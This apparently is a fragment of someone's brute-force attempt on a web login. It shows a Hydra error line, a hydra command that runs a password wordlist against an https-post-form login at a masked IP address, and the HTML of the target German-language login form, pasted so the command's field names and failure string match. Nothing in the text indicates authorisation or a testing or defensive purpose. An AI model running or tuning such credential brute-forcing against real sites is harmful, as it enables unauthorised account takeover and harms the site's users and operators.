[ERROR] Child with pid .... terminating, can not connect

hydra -l user -P /passwords.txt ***.***.***.** https-post-form "/index.php?action=login&show_server_selection=1:user=^USER^&password=^PASS^:Passwort ungültig"

<form action="index.php?action=login&show_server_selection=1" method="post" id="login_form" onsubmit="return Index.login_submit();">
        <div>
            <label for="user">
                <strong >Benutzername:</strong>
                <span >
                    <input id="user" name="user" class="text" type="text" value=""
                           onkeydown="if((e=window.event||event) && e.keyCode == 13 && $('#user').val() && $('#password').val()) $('#login_form').submit()"/>
                </span>
            </label>
            <label for="password">
                <strong >Passwort:</strong>
                <span >
                    <input name="clear" type="hidden" value="true" />
                    <input id="password" name="password" class="text" type="password"
                           onkeydown="if((e=window.event||event) && e.keyCode == 13 && $('#user').val() && $('#password').val()) $('#login_form').submit()"/>
                </span>
            </label>

            <input type="submit" id="login_submit_button" style="display: none" />

                <div id="js_login_button">
                    <a href="#" onclick="$('#login_submit_button').click()" class="login_button">
                        <span class="button_left"></span>
                        <span class="button_middle">Login</span>
                        <span class="button_right"></span>
                    </a>
                </div>
            </div>

        </div>
    </form>